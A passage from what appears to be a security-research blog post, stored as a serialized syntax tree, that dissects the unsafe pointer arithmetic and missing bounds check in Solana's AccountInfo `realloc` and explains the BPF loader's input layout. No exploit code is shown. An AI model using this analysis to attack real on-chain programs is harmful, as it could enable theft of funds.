usize",{"type":24,"tag":147,"props":19350,"children":19351},{"style":235},[19352],{"type":29,"value":546},{"type":24,"tag":147,"props":19354,"children":19355},{"style":247},[19356],{"type":29,"value":19357},"zero_init",{"type":24,"tag":147,"props":19359,"children":19360},{"style":241},[19361],{"type":29,"value":978},{"type":24,"tag":147,"props":19363,"children":19364},{"style":9044},[19365],{"type":29,"value":17669},{"type":24,"tag":147,"props":19367,"children":19368},{"style":235},[19369],{"type":29,"value":564},{"type":24,"tag":147,"props":19371,"children":19372},{"style":241},[19373],{"type":29,"value":495},{"type":24,"tag":147,"props":19375,"children":19376},{"style":9044},[19377],{"type":29,"value":19378}," Result",{"type":24,"tag":147,"props":19380,"children":19381},{"style":235},[19382],{"type":29,"value":19383},"\u003C(), ",{"type":24,"tag":147,"props":19385,"children":19386},{"style":9044},[19387],{"type":29,"value":19388},"ProgramError",{"type":24,"tag":147,"props":19390,"children":19391},{"style":235},[19392],{"type":29,"value":12907},{"type":24,"tag":147,"props":19394,"children":19395},{"class":149,"line":160},[19396,19400,19405,19409,19414,19418,19423],{"type":24,"tag":147,"props":19397,"children":19398},{"style":218},[19399],{"type":29,"value":8634},{"type":24,"tag":147,"props":19401,"children":19402},{"style":247},[19403],{"type":29,"value":19404}," orig_len",{"type":24,"tag":147,"props":19406,"children":19407},{"style":241},[19408],{"type":29,"value":651},{"type":24,"tag":147,"props":19410,"children":19411},{"style":218},[19412],{"type":29,"value":19413}," self",{"type":24,"tag":147,"props":19415,"children":19416},{"style":241},[19417],{"type":29,"value":87},{"type":24,"tag":147,"props":19419,"children":19420},{"style":229},[19421],{"type":29,"value":19422},"data_len",{"type":24,"tag":147,"props":19424,"children":19425},{"style":235},[19426],{"type":29,"value":9295},{"type":24,"tag":147,"props":19428,"children":19429},{"class":149,"line":169},[19430],{"type":24,"tag":147,"props":19431,"children":19432},{"emptyLinePlaceholder":16},[19433],{"type":29,"value":314},{"type":24,"tag":147,"props":19435,"children":19436},{"class":149,"line":178},[19437],{"type":24,"tag":147,"props":19438,"children":19439},{"style":154},[19440],{"type":29,"value":19441},"    // realloc\n",{"type":24,"tag":147,"props":19443,"children":19444},{"class":149,"line":187},[19445,19450],{"type":24,"tag":147,"props":19446,"children":19447},{"style":218},[19448],{"type":29,"value":19449},"    unsafe",{"type":24,"tag":147,"props":19451,"children":19452},{"style":235},[19453],{"type":29,"value":6630},{"type":24,"tag":147,"props":19455,"children":19456},{"class":149,"line":196},[19457],{"type":24,"tag":147,"props":19458,"children":19459},{"style":154},[19460],{"type":29,"value":19461},"        // First set new length in the serialized data\n",{"type":24,"tag":147,"props":19463,"children":19464},{"class":149,"line":205},[19465,19469,19474,19478,19482,19486,19491,19496,19500,19505,19509,19513,19517,19521,19525,19529,19533,19537,19541,19545,19549],{"type":24,"tag":147,"props":19466,"children":19467},{"style":218},[19468],{"type":29,"value":8696},{"type":24,"tag":147,"props":19470,"children":19471},{"style":247},[19472],{"type":29,"value":19473}," ptr",{"type":24,"tag":147,"props":19475,"children":19476},{"style":241},[19477],{"type":29,"value":651},{"type":24,"tag":147,"props":19479,"children":19480},{"style":218},[19481],{"type":29,"value":19413},{"type":24,"tag":147,"props":19483,"children":19484},{"style":241},[19485],{"type":29,"value":87},{"type":24,"tag":147,"props":19487,"children":19488},{"style":229},[19489],{"type":29,"value":19490},"try_borrow_mut_data",{"type":24,"tag":147,"props":19492,"children":19493},{"style":235},[19494],{"type":29,"value":19495},"()",{"type":24,"tag":147,"props":19497,"children":19498},{"style":241},[19499],{"type":29,"value":8763},{"type":24,"tag":147,"props":19501,"children":19502},{"style":229},[19503],{"type":29,"value":19504},"as_mut_ptr",{"type":24,"tag":147,"props":19506,"children":19507},{"style":235},[19508],{"type":29,"value":19495},{"type":24,"tag":147,"props":19510,"children":19511},{"style":241},[19512],{"type":29,"value":87},{"type":24,"tag":147,"props":19514,"children":19515},{"style":229},[19516],{"type":29,"value":729},{"type":24,"tag":147,"props":19518,"children":19519},{"style":235},[19520],{"type":29,"value":480},{"type":24,"tag":147,"props":19522,"children":19523},{"style":241},[19524],{"type":29,"value":3470},{"type":24,"tag":147,"props":19526,"children":19527},{"style":705},[19528],{"type":29,"value":9700},{"type":24,"tag":147,"props":19530,"children":19531},{"style":235},[19532],{"type":29,"value":564},{"type":24,"tag":147,"props":19534,"children":19535},{"style":218},[19536],{"type":29,"value":14467},{"type":24,"tag":147,"props":19538,"children":19539},{"style":241},[19540],{"type":29,"value":1263},{"type":24,"tag":147,"props":19542,"children":19543},{"style":218},[19544],{"type":29,"value":9348},{"type":24,"tag":147,"props":19546,"children":19547},{"style":9044},[19548],{"type":29,"value":11484},{"type":24,"tag":147,"props":19550,"children":19551},{"style":235},[19552],{"type":29,"value":432},{"type":24,"tag":147,"props":19554,"children":19555},{"class":149,"line":214},[19556,19560,19565,19569,19574,19578,19582],{"type":24,"tag":147,"props":19557,"children":19558},{"style":241},[19559],{"type":29,"value":13377},{"type":24,"tag":147,"props":19561,"children":19562},{"style":247},[19563],{"type":29,"value":19564},"ptr",{"type":24,"tag":147,"props":19566,"children":19567},{"style":241},[19568],{"type":29,"value":651},{"type":24,"tag":147,"props":19570,"children":19571},{"style":247},[19572],{"type":29,"value":19573}," new_len",{"type":24,"tag":147,"props":19575,"children":19576},{"style":218},[19577],{"type":29,"value":14453},{"type":24,"tag":147,"props":19579,"children":19580},{"style":9044},[19581],{"type":29,"value":11484},{"type":24,"tag":147,"props":19583,"children":19584},{"style":235},[19585],{"type":29,"value":432},{"type":24,"tag":147,"props":19587,"children":19588},{"class":149,"line":272},[19589],{"type":24,"tag":147,"props":19590,"children":19591},{"emptyLinePlaceholder":16},[19592],{"type":29,"value":314},{"type":24,"tag":147,"props":19594,"children":19595},{"class":149,"line":281},[19596],{"type":24,"tag":147,"props":19597,"children":19598},{"style":154},[19599],{"type":29,"value":19600},"        // Then set the new length in the local slice\n",{"type":24,"tag":147,"props":19602,"children":19603},{"class":149,"line":299},[19604,19608,19612,19616,19620,19624,19628,19633,19637,19641,19645,19649,19654,19659,19663,19667,19671,19675,19679,19683,19687,19691,19695,19699,19703,19707,19711,19715,19719,19723,19727],{"type":24,"tag":147,"props":19605,"children":19606},{"style":218},[19607],{"type":29,"value":8696},{"type":24,"tag":147,"props":19609,"children":19610},{"style":247},[19611],{"type":29,"value":19473},{"type":24,"tag":147,"props":19613,"children":19614},{"style":241},[19615],{"type":29,"value":651},{"type":24,"tag":147,"props":19617,"children":19618},{"style":241},[19619],{"type":29,"value":12767},{"type":24,"tag":147,"props":19621,"children":19622},{"style":218},[19623],{"type":29,"value":9348},{"type":24,"tag":147,"props":19625,"children":19626},{"style":241},[19627],{"type":29,"value":1263},{"type":24,"tag":147,"props":19629,"children":19630},{"style":235},[19631],{"type":29,"value":19632},"(((",{"type":24,"tag":147,"props":19634,"children":19635},{"style":218},[19636],{"type":29,"value":19330},{"type":24,"tag":147,"props":19638,"children":19639},{"style":241},[19640],{"type":29,"value":87},{"type":24,"tag":147,"props":19642,"children":19643},{"style":235},[19644],{"type":29,"value":1139},{"type":24,"tag":147,"props":19646,"children":19647},{"style":241},[19648],{"type":29,"value":87},{"type":24,"tag":147,"props":19650,"children":19651},{"style":229},[19652],{"type":29,"value":19653},"as_ptr",{"type":24,"tag":147,"props":19655,"children":19656},{"style":235},[19657],{"type":29,"value":19658},"() ",{"type":24,"tag":147,"props":19660,"children":19661},{"style":218},[19662],{"type":29,"value":14467},{"type":24,"tag":147,"props":19664,"children":19665},{"style":241},[19666],{"type":29,"value":1263},{"type":24,"tag":147,"props":19668,"children":19669},{"style":218},[19670],{"type":29,"value":15276},{"type":24,"tag":147,"props":19672,"children":19673},{"style":9044},[19674],{"type":29,"value":11484},{"type":24,"tag":147,"props":19676,"children":19677},{"style":235},[19678],{"type":29,"value":8758},{"type":24,"tag":147,"props":19680,"children":19681},{"style":241},[19682],{"type":29,"value":87},{"type":24,"tag":147,"props":19684,"children":19685},{"style":229},[19686],{"type":29,"value":729},{"type":24,"tag":147,"props":19688,"children":19689},{"style":235},[19690],{"type":29,"value":480},{"type":24,"tag":147,"props":19692,"children":19693},{"style":705},[19694],{"type":29,"value":1154},{"type":24,"tag":147,"props":19696,"children":19697},{"style":235},[19698],{"type":29,"value":564},{"type":24,"tag":147,"props":19700,"children":19701},{"style":218},[19702],{"type":29,"value":14467},{"type":24,"tag":147,"props":19704,"children":19705},{"style":9044},[19706],{"type":29,"value":11484},{"type":24,"tag":147,"props":19708,"children":19709},{"style":235},[19710],{"type":29,"value":564},{"type":24,"tag":147,"props":19712,"children":19713},{"style":218},[19714],{"type":29,"value":14467},{"type":24,"tag":147,"props":19716,"children":19717},{"style":241},[19718],{"type":29,"value":1263},{"type":24,"tag":147,"props":19720,"children":19721},{"style":218},[19722],{"type":29,"value":9348},{"type":24,"tag":147,"props":19724,"children":19725},{"style":9044},[19726],{"type":29,"value":11484},{"type":24,"tag":147,"props":19728,"children":19729},{"style":235},[19730],{"type":29,"value":1473},{"type":24,"tag":147,"props":19732,"children":19733},{"class":149,"line":308},[19734,19738,19742,19746,19750,19754,19758],{"type":24,"tag":147,"props":19735,"children":19736},{"style":241},[19737],{"type":29,"value":13377},{"type":24,"tag":147,"props":19739,"children":19740},{"style":247},[19741],{"type":29,"value":19564},{"type":24,"tag":147,"props":19743,"children":19744},{"style":241},[19745],{"type":29,"value":651},{"type":24,"tag":147,"props":19747,"children":19748},{"style":247},[19749],{"type":29,"value":19573},{"type":24,"tag":147,"props":19751,"children":19752},{"style":218},[19753],{"type":29,"value":14453},{"type":24,"tag":147,"props":19755,"children":19756},{"style":9044},[19757],{"type":29,"value":11484},{"type":24,"tag":147,"props":19759,"children":19760},{"style":235},[19761],{"type":29,"value":432},{"type":24,"tag":147,"props":19763,"children":19764},{"class":149,"line":317},[19765],{"type":24,"tag":147,"props":19766,"children":19767},{"style":235},[19768],{"type":29,"value":1952},{"type":24,"tag":147,"props":19770,"children":19771},{"class":149,"line":332},[19772],{"type":24,"tag":147,"props":19773,"children":19774},{"emptyLinePlaceholder":16},[19775],{"type":29,"value":314},{"type":24,"tag":147,"props":19777,"children":19778},{"class":149,"line":350},[19779],{"type":24,"tag":147,"props":19780,"children":19781},{"style":154},[19782],{"type":29,"value":19783},"    // zero-init if requested\n",{"type":24,"tag":147,"props":19785,"children":19786},{"class":149,"line":358},[19787,19791,19796,19800,19804,19809,19813],{"type":24,"tag":147,"props":19788,"children":19789},{"style":321},[19790],{"type":29,"value":4759},{"type":24,"tag":147,"props":19792,"children":19793},{"style":247},[19794],{"type":29,"value":19795}," zero_init",{"type":24,"tag":147,"props":19797,"children":19798},{"style":241},[19799],{"type":29,"value":4269},{"type":24,"tag":147,"props":19801,"children":19802},{"style":247},[19803],{"type":29,"value":19573},{"type":24,"tag":147,"props":19805,"children":19806},{"style":241},[19807],{"type":29,"value":19808}," >",{"type":24,"tag":147,"props":19810,"children":19811},{"style":247},[19812],{"type":29,"value":19404},{"type":24,"tag":147,"props":19814,"children":19815},{"style":235},[19816],{"type":29,"value":6630},{"type":24,"tag":147,"props":19818,"children":19819},{"class":149,"line":397},[19820,19825],{"type":24,"tag":147,"props":19821,"children":19822},{"style":229},[19823],{"type":29,"value":19824},"        sol_memset",{"type":24,"tag":147,"props":19826,"children":19827},{"style":235},[19828],{"type":29,"value":9088},{"type":24,"tag":147,"props":19830,"children":19831},{"class":149,"line":421},[19832,19836,19840,19844,19848,19852,19856,19860,19864,19869,19873],{"type":24,"tag":147,"props":19833,"children":19834},{"style":241},[19835],{"type":29,"value":13310},{"type":24,"tag":147,"props":19837,"children":19838},{"style":218},[19839],{"type":29,"value":9348},{"type":24,"tag":147,"props":19841,"children":19842},{"style":218},[19843],{"type":29,"value":19413},{"type":24,"tag":147,"props":19845,"children":19846},{"style":241},[19847],{"type":29,"value":87},{"type":24,"tag":147,"props":19849,"children":19850},{"style":229},[19851],{"type":29,"value":19490},{"type":24,"tag":147,"props":19853,"children":19854},{"style":235},[19855],{"type":29,"value":19495},{"type":24,"tag":147,"props":19857,"children":19858},{"style":241},[19859],{"type":29,"value":8785},{"type":24,"tag":147,"props":19861,"children":19862},{"style":235},[19863],{"type":29,"value":9358},{"type":24,"tag":147,"props":19865,"children":19866},{"style":247},[19867],{"type":29,"value":19868},"orig_len",{"type":24,"tag":147,"props":19870,"children":19871},{"style":241},[19872],{"type":29,"value":8683},{"type":24,"tag":147,"props":19874,"children":19875},{"style":235},[19876],{"type":29,"value":19877},"],\n",{"type":24,"tag":147,"props":19879,"children":19880},{"class":149,"line":435},[19881,19886],{"type":24,"tag":147,"props":19882,"children":19883},{"style":705},[19884],{"type":29,"value":19885},"            0",{"type":24,"tag":147,"props":19887,"children":19888},{"style":235},[19889],{"type":29,"value":1549},{"type":24,"tag":147,"props":19891,"children":19892},{"class":149,"line":444},[19893,19898,19902,19907,19911,19915],{"type":24,"tag":147,"props":19894,"children":19895},{"style":247},[19896],{"type":29,"value":19897},"            new_len",{"type":24,"tag":147,"props":19899,"children":19900},{"style":241},[19901],{"type":29,"value":87},{"type":24,"tag":147,"props":19903,"children":19904},{"style":229},[19905],{"type":29,"value":19906},"saturating_sub",{"type":24,"tag":147,"props":19908,"children":19909},{"style":235},[19910],{"type":29,"value":480},{"type":24,"tag":147,"props":19912,"children":19913},{"style":247},[19914],{"type":29,"value":19868},{"type":24,"tag":147,"props":19916,"children":19917},{"style":235},[19918],{"type":29,"value":12362},{"type":24,"tag":147,"props":19920,"children":19921},{"class":149,"line":452},[19922],{"type":24,"tag":147,"props":19923,"children":19924},{"style":235},[19925],{"type":29,"value":13369},{"type":24,"tag":147,"props":19927,"children":19928},{"class":149,"line":461},[19929],{"type":24,"tag":147,"props":19930,"children":19931},{"style":235},[19932],{"type":29,"value":1952},{"type":24,"tag":147,"props":19934,"children":19935},{"class":149,"line":469},[19936],{"type":24,"tag":147,"props":19937,"children":19938},{"emptyLinePlaceholder":16},[19939],{"type":29,"value":314},{"type":24,"tag":147,"props":19941,"children":19942},{"class":149,"line":508},[19943,19948],{"type":24,"tag":147,"props":19944,"children":19945},{"style":9044},[19946],{"type":29,"value":19947},"    Ok",{"type":24,"tag":147,"props":19949,"children":19950},{"style":235},[19951],{"type":29,"value":19952},"(())\n",{"type":24,"tag":147,"props":19954,"children":19955},{"class":149,"line":572},[19956],{"type":24,"tag":147,"props":19957,"children":19958},{"style":235},[19959],{"type":29,"value":827},{"type":24,"tag":25,"props":19961,"children":19962},{},[19963,19965,19971,19973,19978],{"type":29,"value":19964},"Oh. There's ",{"type":24,"tag":80,"props":19966,"children":19968},{"className":19967},[],[19969],{"type":29,"value":19970},"unsafe",{"type":29,"value":19972},". And no bounds check in sight. ",{"type":24,"tag":8545,"props":19974,"children":19975},{},[19976],{"type":29,"value":19977},"And",{"type":29,"value":19979}," pointer math. That doesn't look promising...",{"type":24,"tag":32,"props":19981,"children":19983},{"id":19982},"breaking-down-realloc",[19984,19986],{"type":29,"value":19985},"Breaking down ",{"type":24,"tag":80,"props":19987,"children":19989},{"className":19988},[],[19990],{"type":29,"value":19255},{"type":24,"tag":25,"props":19992,"children":19993},{},[19994,19996,20001],{"type":29,"value":19995},"Let's pick apart this ",{"type":24,"tag":80,"props":19997,"children":19999},{"className":19998},[],[20000],{"type":29,"value":19970},{"type":29,"value":20002}," block, since there's a lot going on here.",{"type":24,"tag":137,"props":20004,"children":20006},{"className":8614,"code":20005,"language":8613,"meta":7,"style":7},"// First set new length in the serialized data\nlet ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n*ptr = new_len as u64;\n",[20007],{"type":24,"tag":80,"props":20008,"children":20009},{"__ignoreMap":7},[20010,20018,20105],{"type":24,"tag":147,"props":20011,"children":20012},{"class":149,"line":150},[20013],{"type":24,"tag":147,"props":20014,"children":20015},{"style":154},[20016],{"type":29,"value":20017},"// First set new length in the serialized data\n",{"type":24,"tag":147,"props":20019,"children":20020},{"class":149,"line":160},[20021,20025,20029,20033,20037,20041,20045,20049,20053,20057,20061,20065,20069,20073,20077,20081,20085,20089,20093,20097,20101],{"type":24,"tag":147,"props":20022,"children":20023},{"style":218},[20024],{"type":29,"value":17406},{"type":24,"tag":147,"props":20026,"children":20027},{"style":247},[20028],{"type":29,"value":19473},{"type":24,"tag":147,"props":20030,"children":20031},{"style":241},[20032],{"type":29,"value":651},{"type":24,"tag":147,"props":20034,"children":20035},{"style":218},[20036],{"type":29,"value":19413},{"type":24,"tag":147,"props":20038,"children":20039},{"style":241},[20040],{"type":29,"value":87},{"type":24,"tag":147,"props":20042,"children":20043},{"style":229},[20044],{"type":29,"value":19490},{"type":24,"tag":147,"props":20046,"children":20047},{"style":235},[20048],{"type":29,"value":19495},{"type":24,"tag":147,"props":20050,"children":20051},{"style":241},[20052],{"type":29,"value":8763},{"type":24,"tag":147,"props":20054,"children":20055},{"style":229},[20056],{"type":29,"value":19504},{"type":24,"tag":147,"props":20058,"children":20059},{"style":235},[20060],{"type":29,"value":19495},{"type":24,"tag":147,"props":20062,"children":20063},{"style":241},[20064],{"type":29,"value":87},{"type":24,"tag":147,"props":20066,"children":20067},{"style":229},[20068],{"type":29,"value":729},{"type":24,"tag":147,"props":20070,"children":20071},{"style":235},[20072],{"type":29,"value":480},{"type":24,"tag":147,"props":20074,"children":20075},{"style":241},[20076],{"type":29,"value":3470},{"type":24,"tag":147,"props":20078,"children":20079},{"style":705},[20080],{"type":29,"value":9700},{"type":24,"tag":147,"props":20082,"children":20083},{"style":235},[20084],{"type":29,"value":564},{"type":24,"tag":147,"props":20086,"children":20087},{"style":218},[20088],{"type":29,"value":14467},{"type":24,"tag":147,"props":20090,"children":20091},{"style":241},[20092],{"type":29,"value":1263},{"type":24,"tag":147,"props":20094,"children":20095},{"style":218},[20096],{"type":29,"value":9348},{"type":24,"tag":147,"props":20098,"children":20099},{"style":9044},[20100],{"type":29,"value":11484},{"type":24,"tag":147,"props":20102,"children":20103},{"style":235},[20104],{"type":29,"value":432},{"type":24,"tag":147,"props":20106,"children":20107},{"class":149,"line":169},[20108,20112,20116,20120,20124,20128,20132],{"type":24,"tag":147,"props":20109,"children":20110},{"style":241},[20111],{"type":29,"value":244},{"type":24,"tag":147,"props":20113,"children":20114},{"style":247},[20115],{"type":29,"value":19564},{"type":24,"tag":147,"props":20117,"children":20118},{"style":241},[20119],{"type":29,"value":651},{"type":24,"tag":147,"props":20121,"children":20122},{"style":247},[20123],{"type":29,"value":19573},{"type":24,"tag":147,"props":20125,"children":20126},{"style":218},[20127],{"type":29,"value":14453},{"type":24,"tag":147,"props":20129,"children":20130},{"style":9044},[20131],{"type":29,"value":11484},{"type":24,"tag":147,"props":20133,"children":20134},{"style":235},[20135],{"type":29,"value":432},{"type":24,"tag":25,"props":20137,"children":20138},{},[20139,20144],{"type":24,"tag":80,"props":20140,"children":20142},{"className":20141},[],[20143],{"type":29,"value":19490},{"type":29,"value":20145}," returns a mutable reference to the underlying buffer holding the data of the account. Normally in the course of contract execution, this comes from the serialized buffer passed into the contract by the BPF loader. So before we can understand the details here, let's take a quick detour...",{"type":24,"tag":43,"props":20147,"children":20149},{"id":20148},"bpf-loader-abi",[20150],{"type":29,"value":20151},"BPF Loader ABI",{"type":24,"tag":25,"props":20153,"children":20154},{},[20155,20157,20162,20164,20177],{"type":29,"value":20156},"Solana smart contracts have one job: interact with on-chain accounts. So what's the interface between the contract and the rest of the chain? To answer that, we're going to take a look at ",{"type":24,"tag":80,"props":20158,"children":20160},{"className":20159},[],[20161],{"type":29,"value":19270},{"type":29,"value":20163},"'s entrypoint code - the code that's added when you use the ",{"type":24,"tag":2773,"props":20165,"children":20168},{"href":20166,"rel":20167},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#116-131",[2777],[20169,20175],{"type":24,"tag":80,"props":20170,"children":20172},{"className":20171},[],[20173],{"type":29,"value":20174},"entrypoint!",{"type":29,"value":20176}," macro",{"type":29,"value":978},{"type":24,"tag":137,"props":20179,"children":20181},{"className":8614,"code":20180,"language":8613,"meta":7,"style":7},"#[no_mangle]\npub unsafe extern \"C\" fn entrypoint(input: *mut u8) -> u64 {\n    let (program_id, accounts, instruction_data) =\n        unsafe { $crate::entrypoint::deserialize(input) };\n    match $process_instruction(&program_id, &accounts, &instruction_data) {\n        Ok(()) => $crate::entrypoint::SUCCESS,\n        Err(error) => error.into(),\n    }\n}\n",[20182],{"type":24,"tag":80,"props":20183,"children":20184},{"__ignoreMap":7},[20185,20193,20265,20308,20360,20418,20461,20504,20511],{"type":24,"tag":147,"props":20186,"children":20187},{"class":149,"line":150},[20188],{"type":24,"tag":147,"props":20189,"children":20190},{"style":235},[20191],{"type":29,"value":20192},"#[no_mangle]\n",{"type":24,"tag":147,"props":20194,"children":20195},{"class":149,"line":160},[20196,20200,20205,20210,20215,20219,20224,20228,20232,20236,20240,20244,20249,20253,20257,20261],{"type":24,"tag":147,"props":20197,"children":20198},{"style":218},[20199],{"type":29,"value":19307},{"type":24,"tag":147,"props":20201,"children":20202},{"style":218},[20203],{"type":29,"value":20204}," unsafe",{"type":24,"tag":147,"props":20206,"children":20207},{"style":218},[20208],{"type":29,"value":20209}," extern",{"type":24,"tag":147,"props":20211,"children":20212},{"style":3534},[20213],{"type":29,"value":20214}," \"C\"",{"type":24,"tag":147,"props":20216,"children":20217},{"style":218},[20218],{"type":29,"value":19312},{"type":24,"tag":147,"props":20220,"children":20221},{"style":229},[20222],{"type":29,"value":20223}," entrypoint",{"type":24,"tag":147,"props":20225,"children":20226},{"style":235},[20227],{"type":29,"value":480},{"type":24,"tag":147,"props":20229,"children":20230},{"style":247},[20231],{"type":29,"value":13992},{"type":24,"tag":147,"props":20233,"children":20234},{"style":241},[20235],{"type":29,"value":978},{"type":24,"tag":147,"props":20237,"children":20238},{"style":241},[20239],{"type":29,"value":1263},{"type":24,"tag":147,"props":20241,"children":20242},{"style":218},[20243],{"type":29,"value":9348},{"type":24,"tag":147,"props":20245,"children":20246},{"style":9044},[20247],{"type":29,"value":20248}," u8",{"type":24,"tag":147,"props":20250,"children":20251},{"style":235},[20252],{"type":29,"value":564},{"type":24,"tag":147,"props":20254,"children":20255},{"style":241},[20256],{"type":29,"value":495},{"type":24,"tag":147,"props":20258,"children":20259},{"style":9044},[20260],{"type":29,"value":11484},{"type":24,"tag":147,"props":20262,"children":20263},{"style":235},[20264],{"type":29,"value":6630},{"type":24,"tag":147,"props":20266,"children":20267},{"class":149,"line":169},[20268,20272,20276,20281,20285,20290,20294,20299,20303],{"type":24,"tag":147,"props":20269,"children":20270},{"style":218},[20271],{"type":29,"value":8634},{"type":24,"tag":147,"props":20273,"children":20274},{"style":235},[20275],{"type":29,"value":408},{"type":24,"tag":147,"props":20277,"children":20278},{"style":247},[20279],{"type":29,"value":20280},"program_id",{"type":24,"tag":147,"props":20282,"children":20283},{"style":235},[20284],{"type":29,"value":546},{"type":24,"tag":147,"props":20286,"children":20287},{"style":247},[20288],{"type":29,"value":20289},"accounts",{"type":24,"tag":147,"props":20291,"children":20292},{"style":235},[20293],{"type":29,"value":546},{"type":24,"tag":147,"props":20295,"children":20296},{"style":247},[20297],{"type":29,"value":20298},"instruction_data",{"type":24,"tag":147,"props":20300,"children":20301},{"style":235},[20302],{"type":29,"value":564},{"type":24,"tag":147,"props":20304,"children":20305},{"style":241},[20306],{"type":29,"value":20307},"=\n",{"type":24,"tag":147,"props":20309,"children":20310},{"class":149,"line":178},[20311,20316,20320,20324,20329,20333,20338,20342,20347,20351,20355],{"type":24,"tag":147,"props":20312,"children":20313},{"style":218},[20314],{"type":29,"value":20315},"        unsafe",{"type":24,"tag":147,"props":20317,"children":20318},{"style":235},[20319],{"type":29,"value":15207},{"type":24,"tag":147,"props":20321,"children":20322},{"style":241},[20323],{"type":29,"value":15909},{"type":24,"tag":147,"props":20325,"children":20326},{"style":218},[20327],{"type":29,"value":20328},"crate",{"type":24,"tag":147,"props":20330,"children":20331},{"style":241},[20332],{"type":29,"value":9106},{"type":24,"tag":147,"props":20334,"children":20335},{"style":235},[20336],{"type":29,"value":20337},"entrypoint",{"type":24,"tag":147,"props":20339,"children":20340},{"style":241},[20341],{"type":29,"value":9106},{"type":24,"tag":147,"props":20343,"children":20344},{"style":229},[20345],{"type":29,"value":20346},"deserialize",{"type":24,"tag":147,"props":20348,"children":20349},{"style":235},[20350],{"type":29,"value":480},{"type":24,"tag":147,"props":20352,"children":20353},{"style":247},[20354],{"type":29,"value":13992},{"type":24,"tag":147,"props":20356,"children":20357},{"style":235},[20358],{"type":29,"value":20359},") };\n",{"type":24,"tag":147,"props":20361,"children":20362},{"class":149,"line":187},[20363,20368,20373,20378,20382,20386,20390,20394,20398,20402,20406,20410,20414],{"type":24,"tag":147,"props":20364,"children":20365},{"style":321},[20366],{"type":29,"value":20367},"    match",{"type":24,"tag":147,"props":20369,"children":20370},{"style":241},[20371],{"type":29,"value":20372}," $",{"type":24,"tag":147,"props":20374,"children":20375},{"style":247},[20376],{"type":29,"value":20377},"process_instruction",{"type":24,"tag":147,"props":20379,"children":20380},{"style":235},[20381],{"type":29,"value":480},{"type":24,"tag":147,"props":20383,"children":20384},{"style":241},[20385],{"type":29,"value":485},{"type":24,"tag":147,"props":20387,"children":20388},{"style":247},[20389],{"type":29,"value":20280},{"type":24,"tag":147,"props":20391,"children":20392},{"style":235},[20393],{"type":29,"value":546},{"type":24,"tag":147,"props":20395,"children":20396},{"style":241},[20397],{"type":29,"value":485},{"type":24,"tag":147,"props":20399,"children":20400},{"style":247},[20401],{"type":29,"value":20289},{"type":24,"tag":147,"props":20403,"children":20404},{"style":235},[20405],{"type":29,"value":546},{"type":24,"tag":147,"props":20407,"children":20408},{"style":241},[20409],{"type":29,"value":485},{"type":24,"tag":147,"props":20411,"children":20412},{"style":247},[20413],{"type":29,"value":20298},{"type":24,"tag":147,"props":20415,"children":20416},{"style":235},[20417],{"type":29,"value":505},{"type":24,"tag":147,"props":20419,"children":20420},{"class":149,"line":196},[20421,20426,20431,20436,20440,20444,20448,20452,20456],{"type":24,"tag":147,"props":20422,"children":20423},{"style":9044},[20424],{"type":29,"value":20425},"        Ok",{"type":24,"tag":147,"props":20427,"children":20428},{"style":235},[20429],{"type":29,"value":20430},"(()) ",{"type":24,"tag":147,"props":20432,"children":20433},{"style":241},[20434],{"type":29,"value":20435},"=>",{"type":24,"tag":147,"props":20437,"children":20438},{"style":241},[20439],{"type":29,"value":20372},{"type":24,"tag":147,"props":20441,"children":20442},{"style":218},[20443],{"type":29,"value":20328},{"type":24,"tag":147,"props":20445,"children":20446},{"style":241},[20447],{"type":29,"value":9106},{"type":24,"tag":147,"props":20449,"children":20450},{"style":235},[20451],{"type":29,"value":20337},{"type":24,"tag":147,"props":20453,"children":20454},{"style":241},[20455],{"type":29,"value":9106},{"type":24,"tag":147,"props":20457,"children":20458},{"style":235},[20459],{"type":29,"value":20460},"SUCCESS,\n",{"type":24,"tag":147,"props":20462,"children":20463},{"class":149,"line":205},[20464,20469,20473,20478,20482,20486,20491,20495,20500],{"type":24,"tag":147,"props":20465,"children":20466},{"style":9044},[20467],{"type":29,"value":20468},"        Err",{"type":24,"tag":147,"props":20470,"children":20471},{"style":235},[20472],{"type":29,"value":480},{"type":24,"tag":147,"props":20474,"children":20475},{"style":247},[20476],{"type":29,"value":20477},"error",{"type":24,"tag":147,"props":20479,"children":20480},{"style":235},[20481],{"type":29,"value":564},{"type":24,"tag":147,"props":20483,"children":20484},{"style":241},[20485],{"type":29,"value":20435},{"type":24,"tag":147,"props":20487,"children":20488},{"style":247},[20489],{"type":29,"value":20490}," error",{"type":24,"tag":147,"props":20492,"children":20493},{"style":241},[20494],{"type":29,"value":87},{"type":24,"tag":147,"props":20496,"children":20497},{"style":229},[20498],{"type":29,"value":20499},"into",{"type":24,"tag":147,"props":20501,"children":20502},{"style":235},[20503],{"type":29,"value":9116},{"type":24,"tag":147,"props":20505,"children":20506},{"class":149,"line":214},[20507],{"type":24,"tag":147,"props":20508,"children":20509},{"style":235},[20510],{"type":29,"value":1952},{"type":24,"tag":147,"props":20512,"children":20513},{"class":149,"line":272},[20514],{"type":24,"tag":147,"props":20515,"children":20516},{"style":235},[20517],{"type":29,"value":827},{"type":24,"tag":25,"props":20519,"children":20520},{},[20521,20523,20528,20530,20536,20538,20545,20547,20553,20555,20562],{"type":29,"value":20522},"What we see here is the contract's real entrypoint - it takes a ",{"type":24,"tag":80,"props":20524,"children":20526},{"className":20525},[],[20527],{"type":29,"value":2625},{"type":29,"value":20529}," buffer in from the loader, and calls ",{"type":24,"tag":80,"props":20531,"children":20533},{"className":20532},[],[20534],{"type":29,"value":20535},"solana_program::entrypoint::deserialize",{"type":29,"value":20537},", which then ",{"type":24,"tag":2773,"props":20539,"children":20542},{"href":20540,"rel":20541},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#281-337",[2777],[20543],{"type":29,"value":20544},"parses out",{"type":29,"value":20546}," all the ",{"type":24,"tag":80,"props":20548,"children":20550},{"className":20549},[],[20551],{"type":29,"value":20552},"AccountInfo",{"type":29,"value":20554},"s, instruction data, and the current running program ID. We can see how the data buffer is ",{"type":24,"tag":2773,"props":20556,"children":20559},{"href":20557,"rel":20558},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#308-316",[2777],[20560],{"type":29,"value":20561},"laid out",{"type":29,"value":978},{"type":24,"tag":137,"props":20564,"children":20566},{"className":8614,"code":20565,"language":8613,"meta":7,"style":7},"#[allow(clippy::cast_ptr_alignment)]\nlet data_len = *(input.add(offset) as *const u64) as usize;\noffset += size_of::\u003Cu64>();\n\nlet data = 